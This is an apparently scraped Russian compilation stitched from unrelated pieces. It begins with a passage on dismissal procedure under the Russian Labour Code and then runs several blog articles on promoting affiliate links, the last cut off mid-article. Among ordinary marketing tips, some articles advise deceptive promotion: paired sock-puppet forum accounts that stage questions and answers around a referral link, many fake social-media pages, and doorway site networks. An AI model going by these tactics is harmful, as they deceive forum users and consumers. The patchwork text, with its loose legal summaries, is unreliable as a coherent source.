Оформленный документ об увольнении передается в отдел кадров предприятия. Его реквизиты вносятся в специальную книгу учета. С бумаги снимается копия, которая помещается в личное дело увольняемого сотрудника. Еще один экземпляр документа может быть предоставлен непосредственно служащему.

Ознакомление сотрудника с приказом

В статье 84.1 ТК РФ содержится положении об обязательном предоставлении приказа об увольнении работнику для ознакомления. При этом последний обязательно должен поставить подпись и обозначить дату прочтения бумаги.

В случае если работник игнорирует необходимость подписать приказ, либо его местонахождение неизвестно, в бумаге проставляется соответствующая отметка.

Если сотрудник не согласен визировать документ, то составляется письменный отказ, который заверяется непосредственно увольняемым и тремя свидетелями.

Формирование записки-расчета

При увольнении работник претендует на получение компенсационных выплат за неиспользованный отпускной период, а также больничные листы. Они высчитываются на основании специальной записки-расчета, где отражаются неоплаченные дни, либо дополнительное время, которое необходимо отработать.

Непосредственный расчет работника

В день официального увольнения работодатель должен полностью выплатить положенные служащему денежные средства, а также передать находящуюся в личном деле трудовую книжку. Подобное положение зафиксировано в статье 84.1 ТК РФ.

Создание записи о расчете

Сведения об увольнении отражаются в учетной документации предприятия, а также в личной карточке работника. Вносятся записи сотрудниками отдела кадров с обязательным заверением подписью увольняемого.

Оформление записи в трудовой книжке

Формулировка причины увольнения, вносимой в трудовую книжку работника, напрямую зависит от предусмотренного 81 статье ТК РФ основания. В общем виде она выглядят так:

  1. Сначала отображается сам факт расчета. Запись в обязательном порядке начинается со слова «Уволен».
  2. Далее отображается основание увольнения. Формулировка должна соответствовать обозначенной в 81 статье ТК РФ причине (например): «в связи с ликвидацией предприятия», «в связи с несоответствием занимаемой должности».
  3. Затем вносится нормативная база, то есть пункт статьи, содержащей указанную причину расчета. Например, пункт 1 статьи 81 ТК РФ.

Сроки увольнения. Нужна ли отработка?

Если в качестве обоснования увольнения выступает закрытие фирмы или сокращение, руководство должно заблаговременно уведомить об этом работника. Законодательно установлено, что сообщить о ликвидации организации и сокращении нужно за 2 месяца до увольнения.

При смене штата из-за прихода нового директора, увольнение нанятых предшественником сотрудников осуществляется в трехмесячный срок, исчисляемый со дня вступления в должность действующего руководства.

В отличие от случаев расчета по согласию сторон или по заявлению самого сотрудника, увольнение по инициативе работодателя не влечет за собой необходимость отработки. По факту день разрыва трудового договора считается последним рабочим днем служащего.

Выплаты полагающиеся при увольнении

При увольнении, инициированном руководством организации, согласно 127 статье ТК РФ, в первую очередь необходимо компенсировать положенные работнику отпускные дни, которые не были использованы в период действия трудового договора. Также производится полный расчет с сотрудником за отработанное время.

Дальнейшие выплаты зависят от причины увольнения. На определенную компенсацию претендуют служащие, расторжение трудового договора которых инициировано по причине закрытия организации, либо в связи с сокращением штата.

Статья 178 ТК РФ устанавливает необходимость перевода работнику суммы, равной среднемесячному заработку. В дальнейшем уволенный может в течение 2 месяцев претендовать на получение средней зарплаты, в случае, если трудоустроиться за данный период времени не удалось.

Сотрудники, которых нельзя уволить

Работодатель сможет рассчитать по своему желанию далеко не всех сотрудников. Законодательно от увольнения защищены следующие граждане:

  • Беременные, что отмечено в 261 статье ТК РФ.
  • Отцы и матери-одиночки, у которых есть ребенок младше 14 лет. А в случае с детьми-инвалидами – 18.
  • Несовершеннолетние. Для оформления увольнения потребуется уведомить комиссию по делам несовершеннолетних и трудовая инспекция и получить согласие от обеих организаций, о чем говориться в 269 статье ТК РФ.
  • Сотрудники, находящиеся в отпуске.
  • Служащие, оформившие больничный лист.

Во всех случаях имеется и исключение. Увольнение может производиться в случае, если фирма прекращает свое существование.

Можно ли опротестовать увольнение по инициативе работодателя

Если сотрудник считает причину, повлекшую увольнение, незаконной, он может опротестовать приказ о расчете, обратившись:

  • Непосредственно к руководителю предприятия с письменным заявлением;
  • К профсоюзу работников, членом которого является;
  • В инспекцию труда, способную произвести проверку и инициировать судебное разбирательство;
  • В прокуратору;
  • При грубом нарушении требований трудового законодательства – в суд.

Прежде чем обращаться в такие инстанции как прокуратура или суд, нужно обязательно предпринять попытку мирного урегулирования.

У вас остались вопросы?

Вы дежурному юристу

Юрист анализирует ваш вопрос

Юрист связывается с вами

Ваш вопрос решен!

Приемущества:

  • Полная анонимность
  • Бесплатно
  • Возможность обсудить любые темы, связанные с дарением

15

минут — средняя
скорость ответа

30

консультации
сегодня

11578

консультаций
проведено всего

pro-uvolnenie.ru

Как рекламировать партнерскую ссылку – Продвижение партнерской ссылки, лучшие способы. Новичкам.

Партнерские программы — 6 способов как рекламировать

 

 

Привет, друзья! Спасибо, что выбрали мой блог, эту статью, и, кстати, не зря, потому что именно в ней вы найдете то, что вам поможет, в первую очередь, продвинуть свои партнерские ссылки и заработать на этом деньги. Также вы узнаете как рекламировать партнерские программы и как их продвигать в интернете. Я сама когда-то столкнулась с этой проблемой, когда начала изучать партнерские программы.

Я настолько увлеклась этой темой, настолько она мне нравилась, что я как умалишенная начала скупать все курсы, чтобы узнать всё, что только можно. И сегодня хочу поделиться с вами той информацией, которая в свое время помогла мне и поможет и вам.

Раз вы читаете эту статью, значит вам уже интересна тема партнерских программ и их продвижения. И скорее всего, у вас возникают некие трудности с их продвижением, потому что в партнерках важен прежде всего трафик, без него никак. Многие новички, которые решили заняться партнерским маркетингом думают, что вот я сейчас возьму свои партнерские ссылки, раскидаю их по своим социальным сетям, по сайтам, по группам, по форумам, на канал и все начнут покупать, а я буду только ловить свои денежки в кошельке. А вот и фиг вам, как говорится. Не всё так просто, как вы думаете. Если бы всё было так просто, все были бы уже миллионерами. Это то же самое, что открыть свой магазин, закупить продукты, нацепить вывеску и сесть за прилавок и ждать…. когда же придут покупатели…?

 

 

А теперь, мы с вами поговорим о том, что же делать, чтобы люди покупали именно по вашим ссылкам.

Начнем с того, партнерские продукты продаются только тогда, когда мы не впариваем их, а рекомендуем. Люди не будут просто так покупать какой-либо курс или продукт, пока не прочитают какой-либо положительный отзыв и не удостоверятся, что его можно покупать и он достойный.

Еще самый важный нюанс, партнерские продукты продаются лучше у того, у кого есть «лицо»! Кто вы? Какая у вас фотография в аккаунте в социальных сетях или блоге? Ваше лицо или котик? Люди не будут покупать у котиков. Вообще, я отрицательно отношусь к таким аккаунтам в социальных сетях, где указано не лицо, а какой-нибудь логотип, животное, в общем, всё, что угодно, но только не лицо. Такие аккаунты я перевожу в подписчики, либо блокирую. Мне интересны только интересные люди, с лицом и со статусом. Но здесь не обо мне.  А о том, КТО продает, а не ЧТО продает. Вам должны доверять! Это очень важно! Вы сами купите курс для похудения или по созданию сайта у котика?

Как вы думаете, с чего вообще начинается продвижение партнерских программ, да или вообще любого продукта? Внимание! Это целевая аудитория! Допустим, вы продаете курс по похудению, а ваше объявление смотрит дальнобойщик. Ему оно надо худеть? Очень важно продумать КТО является вашей целевой аудиторией, кому вы продаете? Кому может быть интересно похудение в данном случае.

Где брать целевой трафик?

 

Конечно, же существует очень много способов, с помощью которых можно продвигать и рекламировать партнерскую ссылку. И они делятся на платные и бесплатные. Если вы новичок, то лучше начинать с бесплатных способов, так как вы без опыта можете слить много денег, знаю по себе. Лучше заработать первые деньги на бесплатных способах, а потом, эти заработанные деньги реинвестировать в платные методы.

Бесплатные методы продвижения партнерских программ

  1. Социальные сети

 

Самым, пожалуй, популярным способом продвинуть свою партнерскую ссылку, является социальные сети. Это место, где находится огромное количество людей и там можно найти отдельные группы людей, которые интересуются какой-то определенной темой. Например, вы продаете курс по похудению. В социальных сетях есть куча групп по похудению, правильному питанию и т.д. Соответственно, среди них находится ваша целевая аудитория. О том, как зарабатывать в социальных сетях прочитайте в этой статье.

 

Как рекламировать партнерские программы в социальных сетях

  1. Вконтакте

  • Тематические группы вконтакте. Вы можете найти там группы по своей тематике, вступите в неё и можете разместить там обзор своего продукта со ссылкой (с разрешения администратора)
  • Личная страница вконтакте. На своей страничке вы можете также рекламировать свои ссылки, но не делайте посты с явной рекламой, делайте это аккуратно и ненавязчиво. Помните, что рекламные посты делаются 1/7, то есть 1 рекламный – 6 полезных, 1 – рекламный, 6 полезных и т.д., иначе вас перестанут читать, если вы все время будете что-то рекламировать.
  • Своя группа вконтакте. Если у вас есть своя группа в социальной сети, вы также можете там размещать рекламный контент вперемешку с полезным, размещать свои товары, ссылки на партнерские программы, придумать темы для обсуждений и т.д. Группа должна быть интересная и не пустая! Обязательно делайте бонусы подписчикам, делитесь опытом, делайте обзоры продуктов

2. Ютуб

Знаменитый видеохостинг Ютуб является очень классной бесплатной площадкой для рекламы своих партнерских ссылок. Вы можете делать видео обзоры свои продуктов, причем совсем не обязательно показывать своё лицо, если вы пока не хотите этого делать, главное, чтобы обзор был записан вашим голосом, а в описании под видео размещать свои ссылки на партнерские программы.

Подписывайтесь на мой Ютуб канал и там вы найдёте много полезного контента по продвижению партнерских программ и много чего интересного.

3. Сайты

Если у вас есть сайт, то это уже огромный плюс, так как сегодня SEO трафик является самым горячим трафиком. Вы можете писать статьи с рекомендациями, размещать рекламные баннеры, создать свою рассылку, рекламировать различные партнерские программы по вашей тематике.  Но главное, ваш сайт должен быть более-менее раскрученный, примерно от 1000 посетителей в сутки.

Если вы хотите создать свой личный Блог/сайт и рекламировать там партнерские программы, то рекомендую пройти Бесплатный Курс «Я Блогер«, где вы за 3 дня создадите свой сайт и начнёте на нём зарабатывать.

4. Subscribe

 

Это очень интересный сервис. Он позволяет создавать бесплатную тематическую рассылку, на которую могут подписываться другие пользователи сервиса. Также вы можете создать свою тематическую группу и привлекать подписчиков. Сам сервис бесплатно продвигает ваш ресурс, в который пользователи активно вступают. Сервис может вам принести от 100 уникальных посетителей. Поэтому регистрируйтесь и получайте своих первых подписчиков.

Платные способы продвижения патнерских программ

 

На самом деле платных способов продвижения огромное количество. Я не буду писать про все, так как вам они не все нужны именно новичку. Новичкам вообще лучше пока знать всего о некоторых способах. Я расскажу о самых основных и эффективных, где ненужно специальных знаний или умений. Вообще, платный трафик подразумевает повторное вложение средств в рекламу с заработанных денег, то есть реинвестиции. Это не одноразовый способ продвижения. Если вы хотите постоянный поток клиентов, то реклама требуется постоянная!

Итак, какие же способы есть:

 

1.Создание собственного сайта

 

Как ни крути, но я считаю, что сайт – это то, что должно быть у каждого интернет-предпринимателя, ведь это лицо автора. Это ваша площадка, которая всегда будет с вами, которая является вашей личной, и никто её у вас не отнимет. На ней вы можете выкладывать всё, что угодно, а также это великолепная возможность рекламы своих продуктов. Это то место, куда люди сами к вам приходят, они вас находят в поисковых системах, а это самый горячий трафик, причем еще и бесплатный.

Если вы пишете классные, интересные статьи, в которых вы указываете ссылки на партнерские программы. Поисковик это оценивает и выводит вас в топ, соответственно, люди уже доверяют таким сайтам. Они обязательно зайдут на ваш сайт, и так как они вам доверяют, обязательно что-то купят или как минимум, подпишутся на вашу рассылку и будут вашим постоянным читателем и пользователем, а это то, что нам нужно.

Это не значит, конечно, что ваш сайт надо обвешивать рекламу, как игрушки на новогоднюю елку, он прежде всего, должен нести пользу, а не рекламу, иначе ваш сайт просто перестанут посещать. Всё нужно делать в меру.

Ходит столько мифов про сайты, что это долго, рутинно, бесполезно и так далее. Да, долго, да, это занимает время, зато что вас ждет в будущем. Люди очень нетерпеливы, они хотят всё и сразу. Но чтобы что-то вырастить, нужно сначала посадить и долго ухаживать… Я не говорю, что это должно быть единственным способом продвижения ваших продуктов. Пока вы занимаетесь сайтом, можно продвигать и другими способами параллельно.

Создать сам сайт на самом деле совсем не сложно, как многие думают. Я в позиции новичка и полного чайника в этом деле, по видеоурокам создала сайт всего за 1 час и начала его раскручивать, причем создала с помощью бесплатно видеокурса, который тоже могу вам посоветовать. Курс можете скачать по ссылке ниже.

 

Пройти бесплатный курс «Я Блогер» по созданию своего Блога за 3 дня

 

2. Другие сайты

 

Пока вы ждете, когда ваш сайт раскрутится и выйдет в ТОП, можно воспользоваться и другими сайтами, схожими по вашей тематике и которые стали довольно популярны в интернете. И как вы думаете на чем они зарабатывают? Правильно! На рекламе.

Вы можете связаться с автором сайта, и договориться с ним о рекламе вашего продукта в статье. Причем реклама будет идти не от вашего лица, а от лица владельца сайта. Главное, чтобы это был не просто сайт, а полноценный блог, который пишется от конкретного лица. Вы можете заказать баннер на этом сайте, где он будет виден на главной странице, правда, это уже будет стоить дороже. Обычно прайс лист с рекламой авторы размещают на главной странице своего блога.

3. Реклама в e-mail рассылках

 

E-mail рассылка сегодня является самым мощным инструментом для продаж, хотя многие сейчас пытаются доказать, что это уже не работает. Но практика показывает обратное. Самой эффективной и недорогой, на мой взгляд, является рассылка по чужим базам. Это недорогая реклама, с помощью которой вы гарантированно получаете результат. Хочу посоветовать вам сервис BazaarEmail, который я сама использую давно. Это тот, сервис, где создают договор между собой — автор и рекламодатель. Если у вас пока нет своей базы – это отличный вариант для вас, чтобы получить первых подписчиков и клиентов. Вы создаете свое продающее письмо со своей партнерской ссылкой внутри и договариваетесь с автором прорекламировать это письмо в его базе.

Если вы не знаете, как пользоваться сервисом BazaarEmail, то пошаговую инструкцию по созданию рекламного объявления в этом сервисе вы можете посмотреть в этой статье.

Есть ещё один похожий сервис (биржа) авторов рассылок, где вы можете заказывать недорого рекламу в рассылках. Это сервис Infooz. Принцип работы этого сервиса очень схож с предыдущим сервисом BazaarEmail.

4. Баннерная реклама

Этот вид рекламы и продвижения партнерских программ я освоила недавно и он мне очень понравился тем, что с баннерной рекламы пришло ко мне хорошее количество подписчиков и продаж. Для баннерной рекламы я использую сервис Hunterlead.

Процесс подготовки к рекламе партнерских программ

 

А теперь я вам расскажу, что же нужно сделать прежде, чем вы начнете рекламировать партнерские программы. Это очень важный момент, который требует соблюдать и делать постоянно. Именно от него зависит сколько и как скоро вы будете зарабатывать на партнерских программах.

Рекомендации по продвижению партнерских ссылок

 

1.UTM метки

 

UTM метки – это специальная переменная, которая вставляется в саму вашу партнерскую ссылку и позволяет отслеживать из какого источника у вас идет больше всего трафика. То есть, вы просто берете свою ссылку, заходите в любой генератор меток, например, www.utmurl.ru, вставляете туда свою ссылку, указываете нужные параметры и после этого копируете готовую ссылку для продвижения в нужный источник.

Например, вы хотите одну и ту же ссылку использовать в разных источниках для рекламы. Для этого, вы берете ссылку и для каждого источника составляете свою ссылку. Если вы хотите рекламировать ссылку вконтакте, то указываете в поле «источник компании» переменную «vk». После изменения ссылки с помощью сервиса, вы можете анализировать, сколько трафика пришло именно с вконтакте.

И так проделываете с каждым источником. В чем преимущество UTM меток – в том, что вы можете отследить, в каком источнике у вас лучше идет реклама, где больше кликов и продаж. Если у вас лучше идет продвижение вконтакте, значит вы можете делать упор именно на этот источник и усиливать её, тем самым увеличивая продажи и свою прибыль.

 

2.Сокращение ссылки

 

Сами реферальные ссылки бывают очень длинными и запутанными, поэтому люди не очень им доверяют. Вообще, люди не любят кликать по длинным ссылкам, да и сама длинная ссылка выглядит не очень красиво. Весь смысл сокращения ссылки в том, чтобы просто заменить длинную последовательность символов на более короткую.

В тем более, сейчас это не просто желательно, а необходимо, потому что каждая социальная сеть или сайт запрещает публиковать длинные ссылки и предлагает свой онлайн сервис для сокращения ссылок.  Какие же я есть самые основные сервисы для сокращения ссылок, которыми я пользуюсь постоянно:

  • Сервис сокращения ссылок Вконтакте

 

Это онлайн сервис от Вконтакте, который предлагает свой сервис сокращения ссылок. Сам процесс очень простой: в пустое поле вставляете свою партнерскую ссылку и нажимаете на соответствующую кнопку рядом и появляется готовая ссылка, которую вам просто остается скопировать. Перейти в сервис

  • Сервис сокращения ссылок в Однокласниках

 

Данный сервис я использую для сокращения ссылок в Одноклассниках, так как в одноклассниках не пойдут ссылки, сокращенные через онлайн сервис Вконтакте. Перейти в сервис

Этот сервис позволяет сокращать ссылки для всех остальных социальных сетей и сайтов. Перейти в сервис

3.Повторение ссылок

 

Если вы готовите какой-то рекламный текст для продвижения ссылки, то обязательно в тексте ваши ссылки должны повторятся до 3-х раз. Повторение идет в начале абзаца, в середине текста и, соответственно, в конце текста после призыва к действию. То есть человек должен видеть не одну ссылку, а несколько, чтобы было больше возможности нажатия на ссылку.

 

4.Цепляющий текст

 

Если вы пока не владеете способностями писать цепляющие тексты и не хотите за это платить, то лучше подсмотреть у какого-нибудь инфобизнесмена, на которого вы подписаны или которого часто читаете или наблюдаете, какие тексты пишет он и немного перефразировать под себя (НЕ КОПИРОВАТЬ).

В тексте желательно использовать элементы выделения или смайлики, чтобы текст не выглядел серым и незаметным. Обязательно делим текст на абзацы, чтобы он не был длинным полотном. Если же вы хотите сразу написать хороший рекламный текст с помощью специалиста, то советую вам воспользоваться сервисом workzilla.com (быстро и недорого).

 

5.Цельтесь в боль

 

Чтобы ваш текст зацепил, нужно целиться в боль клиента. Вы должны указать все преимущества, выгоду, которую он получит. Сделайте так, чтобы текст было интересно читать. Для этого нужно внимательно изучить партнерский продукт, узнать все его плюсы и минусы, почитать отзывы.

 

6.Тестирование

 

Обязательно тестируйте свои рекламные тексты, рекламные компании, так как не сразу мы можем попасть точно в цель со своим предложением. Меняйте размер текста, пробуйте разные картинки или фото, меняйте слова и предложения, ведь вам нужно выбрать тот идеальный текст, который у вас будет выстреливать везде!

На этом сегодня я буду заканчивать свою статью. Надеюсь, она была для вас полезной и интересной. Главное — не просто читайте, а применяйте эти знания на практике и у вас всё получится! Если у вас возникли какие-то вопросы, обязательно задавайте их ниже в комментариях.

На этом всё, разрешите раскланяться. Обязательно подписывайтесь на новости моего Блога здесь, чтобы не пропускать мои новые полезные статьи на моём Блоге.

P.S. НЕ ЗАБУДЬТЕ скачать мою бесплатную pdf инструкцию 5 шагов до первых денег на партнерках, где я рассказываю о своём опыте заработка на партнерских программах и делюсь очень важными фишками. Благодаря подробной пошаговой инструкции вы сможете заработать свои первые деньги на партнерках и превратить это в прибыльный инфобизнес.

Благодарю вас за внимание!

Я вам желаю удачи и до встречи с вами в следующих моих статьях!

С любовью, Вера Ангел

Поделитесь статьей с друзьями в социальных сетях

 

verangel.ru

Где рекламировать партнерские ссылки?

Где рекламировать партнерские ссылки? Услышав, что через интернет можно ещё и зарабатывать! Человек начинает бороздить тематические сайты и форумы в поисках способов заработка.

Между делом он нарывается на лохотроны, где теряет свои деньги, скупает курсы по совету неизвестных блогеров, большинство из которых на деле оказываются пустышками или вовсе, содержат мошеннические схемы.

В результате, потратив кучу времени, желающий заработать, в конце концов, понимает, что нормальные деньги крутятся вокруг партнерских программ. Это могут быть, как физические либо информационные товары (инфопродукты), так и разного рода услуги.

Где рекламировать партнерские ссылки?

Итак, новичок регистрируется в понравившейся партнерской программе. Далее,  генерирует ссылку (как его учили) или берет уже готовую, и начинает её продвигать.

Но, в основном, все максимальные усилия сводятся к минимальному результату. На деле оказывается, что продвигать партнерскую ссылку не так-то просто, а порой безуспешно.

 

 

Как правило, неподготовленный пользователь пытается продвинуть ссылку на своих страницах в социальных сетях, занимается запрещенным спамом через группы с открытыми стенами Вконтакте. А также оставляет комментарии под видео (хорошо, если со схожей с партнеркой тематикой) в Ютуб или на сайтах, форумах.

Естественно, таким образом заработать не получается, а если и будет хоть одна продажа, то считайте вам крупно повезло.

Так, как и где рекламировать партнерские ссылки?

Источники трафика для партнёрок

Итак, прежде всего, вы должны определиться с тематикой партнерок, которая даст вам понимание, кто является потенциальным покупателем, то есть целевой аудиторией.

Следует также учитывать, что, например, площадки для рекламирования физических товаров (офферов) могут в корне не подойти для продвижения услуг или инфопродуктов, и наоборот. 

На основе этих факторов и надо выбирать источники трафика. Это могут быть (мы перечислим 12 способов):

  1. Веб-сайты (собственные блоги или чужие).
  2. Социальные сети (реклама в пабликах, ретаргетинг, таргет и т.д.).
  3. Контекстная и графическая реклама (Гугл Эдвордс, Яндекс. Директ, Бегун и прочие).
  4. YouTube-канал
  5. Дорвеи – сетки сайтов, созданные для добычи поискового трафика. Обычно доры делаются с помощью программ и скриптов.
  6. Е-мейл рассылки (высококонверсионный трафик для инфопродуктов). Собирается база подписчиков, которым отправляются письма рекомендательного характера с партнерскими ссылками.
  7. Реклама в чужих Е-мейл базах/рассылках.
  8. Арбитражная система (выкуп дешевого трафика с целью перепродажи его за дороже).
  9. Тизерные, баннерные сети. Но, тут нужно быть аккуратными, поскольку зачастую в них преобладают боты. Поэтому прежде чем лить трафик на серьезную партнерку, надо сначала хорошо поработать/протестировать канал. Для этого вебмастером собираются черные и белые листы, где площадки с некачественным трафиком блокируются, а иные (результативные) одобряются.
  10. Мессенджеры (Viber, WhatsApp, Skype, Telegram).
  11. Продажи через вебинары. Здесь нужен опыт, знания и авторитет (раскрученное имя).
  12. Рассылки Вконтакте.

Мы перечислили почти все возможные источники трафика, с помощью которых вы можете рекламировать свои партнерские ссылки.

О блокировках! Где рекламировать партнерские ссылки?

Предупреждаем также, что за рекламу на буксах вроде Wmmail, SEO sprint  и им подобным, вы можете с лёгкостью получить бан. Уже ни для кого не секрет, что продвигаться там бесполезно, потому что «среда обитания» в основном – школьники. Они кликают по рекламе за копейки.

Поэтому глупо надеется, что они заинтересуются вашим предложением. Более того, вы только подпортите конверсию продающего сайта/лендинга.

Единственное, буксы могут подойти для привлечение рефералов в какой-нибудь проект для заработка грошей, где, скорее всего, вы будете иметь мизерную долю от этих копеечек. 

Пожалуй, на этом закончим сегодняшнюю статью. 

Напоминаем, что проверенные способы заработка размещены в нашей рубрике «100% работают». Здесь вы найдете способы, проверенные нами лично. Они непременно принесут вам доход.

Всем желаем успехов!

kurs-otzyvy.ru

Как рекламировать партнерские ссылки. Источники бесплатного трафика

Здравствуйте, дорогие читатели блога. Поговорим о партнерском трафике, о рекламе партнерских ссылок. Когда вы хотите зарабатывать в cpa партнерках, нужно понимать, что трафик (посетители на продающий сайт) и лиды (продажи) не появятся сами собой.

Целевой трафик на лендинги необходимо привлекать.

Рекламировать партнерские ссылки можете платными и бесплатными способами.

Если реклама ведется через рекламные сервисы, ее эффективность выше, доход получите быстрее. Но есть опасность израсходовать, слить свой рекламный бюджет из-за неопытности в привлечении посетителей на лендинг или прокладку, предоставленную ПП.

Работать с бесплатными источниками трафика затратно по времени, выхлоп от этих действий небольшой.

Что такое трафик на сайтах

Термин происходит от английского слова Traffic, переводится как дорожное движение. Соответственно, трафик на сайт — это число посетителей, пользователей (хостов), пришедших на этот веб-ресурс за день.

Они пользуются мобильными устройствами, компьютерами, ноутбуками. Поэтому трафик делится на мобильный и декстопный. Странички сайта надо делать удобными для приема любого вида трафика.

Как и где рекламировать партнерские ссылки, чтобы получить посетителей бесплатно?

СТАТЬИ ПО ТЕМЕ:

Прелендинг, сайт-прокладка. Правда о транзитных страницах

CPA сети, что это такое: заработок через cpa партнерки

Как заработать на бирже рекламы Sociate.ru

При отсутствии бюджета на продвижение используйте любые способы. Ниже даны источники. Работая с ними вы платите своим временем, а деньги не тратите.

Собственный блог

Вы можете рекламировать товары, офферы, размещая ссылки непосредственно в статьях, в сайдбаре. Поисковый, органический трафик можно назвать условно бесплатным, поскольку немало сил, времени и денег уходит на раскрутку сайта и получение посетителей именно из поиска. Потоку трафика на сайт из поисковой выдачи предшествует большая работа по сео.

Страница ВКонтакте

Ссылки на товары можно размещать в рекламных постах, которые чередуются с информационными и развлекательными.

Привлекайте посетителей на страницу бесплатно, комментируя посты на страницах других пользователей из вашей целевой аудитории, в тематических группах и сообществах.

Ставьте лайки на фотографии, посты других пользователей. Многие из них перейдут на вашу страничку, чтобы посмотреть, кому это понравился пост.

На своей страничке не забудьте закрепить запись со ссылкой на рекламируемый товар. Также рекламу можно разместить и в СТАТУСЕ. 
Если хотите таким способом привлекать покупателей на несколько офферов, страничек (фейков) должно быть тоже много.

Нужно понимать, что не каждый пользователь будет переходить и смотреть, кто это лайкнул его фотку. Это будут единицы. Бесплатный трафик из соц сетей будет достаточно маленьким. Продаж таким способом много не сделаешь, а времени затратишь уйму.

Ютуб

Используйте видеомаркетинг. Отдельным людям удобнее смотреть видео, чем перечитывать тексты. Для них видеохостинги заменяют функционал поисковых систем.

Создавайте вирусные видео, размещайте их на своем канале. Так вы привлечете на канал множество посетителей. Рекламируйте партнерские ссылки в описании видеоролика. Чем больше просмотров, тем больше вероятность, что кто-то кликнет на гиперссылку и перейдет на прокладку или лендинг.

Метод опять-таки условно бесплатный. Надо уметь создавать вирусные видео либо слайд-шоу, правильно их оптимизировать и раскручивать, чтобы получать аудиторию на продающий сайт.

Форумы

Способ очень затратный по времени.  

Вариантов, как получить трафик, два:

  • писать много сообщений (по делу, со смыслом). По написании N-ного количества сообщений администрация форума позволит разместить в подписи ссылку на продукт, сайт;
  • создать два аккаунта (с разных почт). С одного аккаунта пишутся сообщения, задаются вопросы по теме продукта. С другого даются подробные, профессиональные ответы. Рефссылка на продукт в таком сообщении очень уместна. Не переборщите с рекламой, модерация на форумах обычно есть.
Популярные тематические блоги

Партнерские ссылки размещают в комментариях, но не напрямую, иначе их удалит владелец блога. Рефссылку размещайте в поле сайт при заполнении формы комментария. 
Нужно очень красиво комментировать, чтобы пользователи захотели посмотреть, кто это такой умный. Чтобы они перешли по естественной ссылке, попали на продающий сайт, а вы получили много бесплатного целевого трафика.

Рассылки Субскрайб

Сообщения в группах модерируются, поэтому партнерские ссылки на лендинги модераторы обычно не пропускают. Но большинство прокладок, которые генерируются партнерскими программами выполнены в виде странички блога.

Вот на них-то и направляйте бесплатный трафик из Субскрайба.

Заключение

Как видите, источников бесплатного трафика на офферы много. Другой вопрос – эффективны ли они?

Воспользуйтесь возможностью, научитесь привлекать целевую аудиторию, чтобы рекламировать свои партнерские ссылки более продуктивно.

moi-start.ru

Как и где лучше рекламировать партнерские ссылки – Лайфхакер

Многие новички в сфере интернет-рекламы считают, что заработать неплохие деньги на партнерской программе довольно просто. Действительно на первый взгляд такая работа не предполагает ничего сложного, однако, для того чтобы заработать реальные деньги нужно работать весьма эффективно. К примеру, нужно постоянно рекламировать партнерские ссылки.

Как эффективно рекламировать партнерские ссылки?

Эффективно рекламировать партнерские ссылки можно путем привлечения по ним качественного, целевого трафика. В свою очередь, определить качественный трафик или нет довольно просто, ведь этот показатель напрямую зависит от источника, из которого он исходит.

К источникам качественного трафика относятся:

  • Поисковые системы;
  • Рекламные сети;
  • Сайты;
  • Рассылки.

В то же время главное условие, от которого зависит, будет ли трафик целевым – соответствие трафика тематике партнерской программы.

Что же касается источников некачественного трафика, то к ним относятся:

  • Тизерные системы;
  • Рекламные брокеры;
  • Развлекательные сайты;
  • Новостные сайты.

Проще говоря, качественный трафик подразумевает привидение целевой, заинтересованной аудитории, а не качественный – сторонних пользователей. Эффективная реклама партнерской ссылки как раз и подразумевает привлечение качественного, целевого трафика.

Источники бесплатного целевого трафика для эффективной рекламы

7 секретов тизерной рекламы

Самый главный бесплатный источник целевого трафика для владельцев интернет ресурсов – поисковая оптимизация сайта.

К альтернативным источникам целевого трафика относятся:

  • Бесплатные доски объявлений.
  • Форумы.
  • Публикации статей с партнерскими ссылками на сторонних ресурсах.

Но при публикации статей на других сайтах стоит обязательно учитывать, что тематика стороннего ресурса должна соответствовать направленности партнерской программы.

У использования бесплатного трафика для рекламы есть значительный плюс. Он заключается в длительном притоке посетителей. Что же касается минусов такого трафика, то к ним относятся большие временные затраты для его обеспечения.

Откуда берется платный целевой трафик?

Главный источник платного целевого трафика представляет собой система контекстной рекламы. Кроме того, в роли источников такого трафика выступают:

  • Тематические рассылки;
  • Сайты;
  • Форумы;
  • Блоги.

К плюсам рекламы с платным трафиком относится быстрое привлечение пользователей по ссылке, а к минусам довольно высокий уровень денежных затрат необходимый для того, чтобы рекламировать одну партнерскую ссылку.

Что нужно знать, чтобы эффективно рекламировать партнерскую ссылку?

Для того чтобы зарабатывать на партнерских программах неплохие деньги нужно правильно использовать системы контекстной рекламы и налаживать контакты с владельцами различных тематических сайтов, рассылок, форумов для того, чтобы иметь возможность договариваться о размещении своих статей со ссылками.

Кроме того, если работать с партнерскими программами, которые подразумевают оплату за клики необходимо быть готовым отстаивать качество трафика. Ведь очень часто в таких программах рекламодатели прибегают к процедуре оспаривания качества трафика, вследствие чего вебмастер может лишиться реального заработка.

Для того чтобы избежать возникновения таких ситуаций нужно внимательно изучать условия партнерского соглашения и использовать только разрешенные источники трафика.

Эффективно разрекламировать свою партнерскую ссылку не так просто как кажется на первый взгляд. Реально заработать на партнерской программе позволяет исключительно направленный, целевой трафик. Одни из лучших источников такого трафика – системы контекстной рекламы.

Эти системы, при правильном их использовании позволяют довольно быстро привлечь целевую аудиторию для перехода по партнерской ссылке.

Главный недостаток такого способа рекламы заключается в его дороговизне. Поэтому, перед тем как принять решение о том как привлекать пользователей на ресурс нужно тщательно взвесить все плюсы и минусы.

Андрей Меркулов

Инвестор, учредитель проекта Территория Инвестирования
Владелец ряда активов — доходный дом, доходные квартиры, доходные сайты
Предприниматель, эксперт по трафику, тиражированию бизнеса и бизнес системам

lifeha.ru

Где размещать партнёрские ссылки бесплатно: варианты и рекомендации

Здравствуйте всем, кто пытается заработать на партнёрских программах и потому интересуется, где размещать партнёрские ссылки бесплатно. Здравствуйте и тем, кто заглянул на огонёк случайно и читает статью для общего развития. Специально для вас вкратце расскажу, что такое партнёрская программа. Это одна из наиболее перспективных возможностей заработать неплохие деньги на просторах Всемирной паутины. Суть заключается в следующем. Есть компания, которой требуется продать свои продукты и есть обычные пользователи интернета, желающие заработать. Они, взаимодействуя, помогают друг другу добиться желаемого. Пользователь регистрируется в партнёрской программе, в личном кабинете генерирует ссылку, размещает её на собственных или прочих ресурсах в сети и за переходы по ним других пользователей, а также за совершённые ими покупки, получает вознаграждение, которое может быть фиксированным или варьироваться в процентном соотношении от суммы совершённой сделки. В сегодняшнем материале я отвечаю на вопрос моих особо заинтересованных подписчиков о том, где именно в интернете можно разместить свою партнёрскую ссылку свободно, бесплатно и желательно без регистрации.

Основные понятия

Пробежимся вкратце по понятиям, с которыми вам определённо придётся столкнуться в процессе заработка на партнёрках:

